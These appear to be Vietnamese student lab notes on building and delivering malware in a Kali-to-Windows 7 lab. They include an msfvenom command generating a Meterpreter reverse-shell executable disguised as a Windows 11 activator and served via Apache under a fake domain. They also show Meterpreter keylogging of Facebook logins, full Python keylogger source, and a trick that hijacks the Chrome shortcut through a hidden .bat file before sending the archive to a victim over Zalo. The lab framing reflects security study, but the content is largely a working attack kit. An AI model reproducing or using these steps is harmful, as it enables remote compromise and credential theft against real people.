Malware 1 – Khai thác điểm yếu của người dùng

Link: <https://www.youtube.com/watch?v=S8fZpwBDkGY>

<https://www.youtube.com/watch?v=F7ZyerLyTbY>

<https://www.youtube.com/watch?v=_sBenYYr0-s> (dấu file trên windown trong 5s)

Tóm tắt:

Malware 2 – Khai thác lỗ hổng Windows

Link: <https://www.youtube.com/watch?v=S8fZpwBDkGY> (Dùng Payload 🡺 Xài video này cho bên dưới)

<https://www.youtube.com/watch?v=F7ZyerLyTbY> (dùng shetter)

Máy: Kali – Win7

Kịch bản: mình là người bán máy, và mình sẽ là dô máy nạn nhân để đặt domain của IP\_Kali là activewin11.com để khi người dùng mún activewin11 thì sẽ truy cập vào link mik tạo sẵn là activewin11.com

Content chính:

+ Tạo ra file active-window11.exe

+ Cấu hình sao cho mỗi khi truy cập apache thông qua domain thì tự động tải xuống mã độc.

|  |  |
| --- | --- |
| KALI | |
|  |  |
|  |  |
|  |  |
| msfvenom -a x86 -platform windows -p windows/meterpreter/reverse\_tcp LHOST=192.168.182.128 LPORT=8080 -e x86/shikata\_ga\_nai -f exe -o /home/kali/Desktop/active-window11.exe | Đẻ ra: |
| - apt update  - apt install apache2  - systemctl start apache2  - systemctl status apache2 | Cài apache2 |
|  | Chèn file active-window11.exe vào trang web html mặc định của apache2 |
|  | Đặt domain cho IP\_Kali bên máy Win7 |
|  | Kích hoat headers trong kali lên |
|  | Thêm vô |
| systemctl restart apache2 | Reset lại apache2 |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  | Khúc này là phải qua WinXP/Win7 truy cập vô domain rồi bấm run chương trình mã độc thì mới kết nối được như bên dưới: |
|  | => Thích làm gì làm |

Malware 3 – Executing Applications Keylogger

Giống y chang Malware 2, chỉ điều là dùng keylogger

Link: <https://www.youtube.com/watch?v=S8fZpwBDkGY>

<https://en.iguru.gr/chrisimopoiiste-keylogger-sto-metasploit-framework/> (đọc để biết cách sử dụng migrate)

|  |  |
| --- | --- |
| … (Phần trước của Malware 2) | |
|  | Bắt đầu keylogger |
|  | Qua bên win7 truy cập facebook = firefox rồi gõ username && password, xong keyscan\_dump sẽ hiện ra các lịch sử gõ |

Malware 4 – Coding Keylogger

Link Video: (1) <https://www.youtube.com/watch?v=Z0Jfcv29Cy8> (keylogger)

(2) <https://www.youtube.com/watch?v=ytvKVYYrqEw> (dấu file)

Computer:

|\_ Dùng máy thật: Tạo code keylogger ở đĩa D:\A (thư mục A tự tạo thêm)

|\_ XXX: Nạn nhân

|  |  |
| --- | --- |
| Tạo keylogger | |
|  | Cài thư viện pynput |
| from pynput.keyboard import Listener (1)  def anonymous(key): (2)      key = str(key)      key = key.replace("'","") //loại bỏ dấu nháy đơn      if key == "Key.f12":          raise SystemExit(0) //thoát chương trình        if key == "Key.ctrl\_l":          key == ""      if key == "Key.enter":          key == "\n"      with open("log.txt", "a") as file: (3)          file.write(key)      print(key)  with Listener(on\_press=anonymous) as hacker: (4)      hacker.join() | Nội dung keylogger.py  (1) Dòng này nhập lớp Listener từ thư viện pynput.keyboard. Listener là một phần của thư viện cho phép bạn theo dõi các sự kiện bàn phím (keyboard events).  (2) Đây là hàm được gọi mỗi khi một phím được nhấn. Hàm này nhận một đối số key, đại diện cho phím vừa được nhấn.  (3) Mở file log.txt ở chế độ "append" (thêm vào) ("a"), cho phép ghi các phím mới mà không làm mất nội dung cũ.  Dòng file.write(key) ghi lại giá trị của key vào file.  Cuối cùng, print(key) in ra giá trị của key trên màn hình console.  (4) - Tạo một đối tượng Listener, truyền hàm anonymous để xử lý các sự kiện phím nhấn.  - hacker.join() sẽ giữ cho Listener hoạt động cho đến khi nó bị dừng (trong trường hợp này là khi nhấn phím F12). |
|  | Đổi định dạng .py -> .pyw (có tác dụng là khi đóng terminal thì nó vẫn chạy ngầm, chỉ khi tắt ở trên task manager thì mới được) |
|  | Mún tắt thì bật task manager lên và tắt chương trình python |
|  | Chọn Open file location, copy shortcut của gg chrom rồi thả vào nằm bên cạnh file keylogger.pyw |
|  | Click phải chọn Properties thì thấy target, đó là nơi thực thi khi mình click đúp vào shortcut gg chrome  🡺 Giờ tạo 1 file .bat để thực thi keylogger.pyw khi user vừa click vào ggchrome  (file .bat có chức năng là thay mình sử dụng terminal 1 cách tự động với các lệnh đã được cấu hình trong .bat) |
|  | 🡺 Tạo file .bat |
|  | 🡺 Sửa Targer chrome = đường dẫn thực thi .bat |
|  | Edit file .bat  - vì ở đâu cùng ổ đĩa C nên có thể thực thi dễ, nếu khác ổ đĩa thì phải có lệnh cd (coi trong link youtube) |
| 🡺 Bấm ggchrome thì sẽ thực thi file .bat  🡺 .bat mở ggchrome và .pyw để làm gián điệp (bấm F12 thì sẽ dừng chương trình gián điệp lại do trong .pyw có cấu hình lệnh dừng, nếu ko thì có thể dô task manager để tắt) | |
| Giấu File (coi link (2)) | |
|  | - Biến .bat với .pyw thành 2 file ẩn |
|  | - Nén chung lại với ggchrome, đặt tên thành A.rar |
|  | - Gửi qua zalo cho nạn nhân |
| Thực thi được với điều kiện là máy bên kia phải cài đc pynput && A.rar đó được để trong thư mục D:\A  Cái này thì chỉ ghi được lịch sử gõ trên 1 máy thôi | |